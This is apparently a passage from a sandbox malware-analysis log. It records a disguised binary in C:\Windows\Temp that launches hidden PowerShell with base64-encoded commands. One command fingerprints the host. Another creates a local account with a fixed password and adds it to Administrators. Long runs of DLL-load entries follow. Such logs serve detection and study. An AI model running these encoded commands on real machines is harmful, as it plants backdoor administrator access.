FAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
